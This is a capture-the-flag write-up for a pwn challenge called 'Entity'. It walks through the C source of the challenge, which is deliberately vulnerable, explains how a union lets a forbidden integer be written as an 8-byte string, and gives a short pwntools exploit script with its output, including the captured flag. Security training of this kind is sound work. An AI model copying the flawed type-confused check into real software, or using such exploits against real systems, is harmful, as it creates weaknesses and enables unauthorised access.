Entity
3 minutes to read
We are given a 64-bit binary called chall
:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
If we connect to the remote instance, we see this:
$ nc 134.122.106.203 30576
Something strange is coming out of the TV..
(T)ry to turn it off
(R)un
(C)ry
>>
Nothing really explanatory…
Static code analysis
This time, we are given the original C source code (chall.c
):
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
static union {
unsigned long long integer;
char string[8];
} DataStore;
typedef enum {
STORE_GET,
STORE_SET,
FLAG
} action_t;
typedef enum {
INTEGER,
STRING
} field_t;
typedef struct {
action_t act;
field_t field;
} menu_t;
menu_t menu() {
menu_t res = { 0 };
char buf[32] = { 0 };
printf("\n(T)ry to turn it off\n(R)un\n(C)ry\n\n>> ");
fgets(buf, sizeof(buf), stdin);
buf[strcspn(buf, "\n")] = 0;
switch (buf[0]) {
case 'T':
res.act = STORE_SET;
break;
case 'R':
res.act = STORE_GET;
break;
case 'C':
res.act = FLAG;
return res;
default:
puts("\nWhat's this nonsense?!");
exit(-1);
}
printf("\nThis does not seem to work.. (L)ie down or (S)cream\n\n>> ");
fgets(buf, sizeof(buf), stdin);
buf[strcspn(buf, "\n")] = 0;
switch (buf[0]) {
case 'L':
res.field = INTEGER;
break;
case 'S':
res.field = STRING;
break;
default:
printf("\nYou are doomed!\n");
exit(-1);
}
return res;
}
void set_field(field_t f) {
char buf[32] = {0};
printf("\nMaybe try a ritual?\n\n>> ");
fgets(buf, sizeof(buf), stdin);
switch (f) {
case INTEGER:
sscanf(buf, "%llu", &DataStore.integer);
if (DataStore.integer == 13371337) {
puts("\nWhat's this nonsense?!");
exit(-1);
}
break;
case STRING:
memcpy(DataStore.string, buf, sizeof(DataStore.string));
break;
}
}
void get_field(field_t f) {
printf("\nAnything else to try?\n\n>> ");
switch (f) {
case INTEGER:
printf("%llu\n", DataStore.integer);
break;
case STRING:
printf("%.8s\n", DataStore.string);
break;
}
}
void get_flag() {
if (DataStore.integer == 13371337) {
system("cat flag.txt");
exit(0);
} else {
puts("\nSorry, this will not work!");
}
}
int main() {
setvbuf(stdout, NULL, _IONBF, 0);
bzero(&DataStore, sizeof(DataStore));
printf("\nSomething strange is coming out of the TV..\n");
while (1) {
menu_t result = menu();
switch (result.act) {
case STORE_SET:
set_field(result.field);
break;
case STORE_GET:
get_field(result.field);
break;
case FLAG:
get_flag();
break;
}
}
}
Basically, there’s a menu where we can select whether to set a field, get the field or get the flag.
In order to get the flag, we need that result.field
equals 13371337
:
void get_flag() {
if (DataStore.integer == 13371337) {
system("cat flag.txt");
exit(0);
} else {
puts("\nSorry, this will not work!");
}
}
However, we are not able to set this special value using set_field
:
void set_field(field_t f) {
char buf[32] = {0};
printf("\nMaybe try a ritual?\n\n>> ");
fgets(buf, sizeof(buf), stdin);
switch (f) {
case INTEGER:
sscanf(buf, "%llu", &DataStore.integer);
if (DataStore.integer == 13371337) {
puts("\nWhat's this nonsense?!");
exit(-1);
}
break;
case STRING:
memcpy(DataStore.string, buf, sizeof(DataStore.string));
break;
}
}
Finding the flaw
The problem here is this data structure:
static union {
unsigned long long integer;
char string[8];
} DataStore;
The above code indicates to the program that DataStore
can be read both as an unsigned long long
and as a char[8]
. In other words, DataStore.integer
and DataStore.string
share the same memory address, their binary value is the same.
Therefore, we can enter 13371337
as a string (in bytes format, little-endian), which is not checked in set_field
.
Exploit development
In order to do this, we can make use of a short pwntools
script:
def main():
p = get_process()
p.sendlineafter(b'>> ', b'T')
p.sendlineafter(b'>> ', b'S')
p.sendlineafter(b'>> ', p64(13371337))
p.sendlineafter(b'>> ', b'C')
print(p.recvline().decode())
p.close()
Flag
And there’s the flag:
$ python3 solve.py 134.122.106.203:30576
[*] './entity'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to 134.122.106.203 on port 30576: Done
HTB{f1ght_34ch_3nt1ty_45_4_un10n}
[*] Closed connection to 134.122.106.203 port 30576
The full exploit code is here: solve.py
.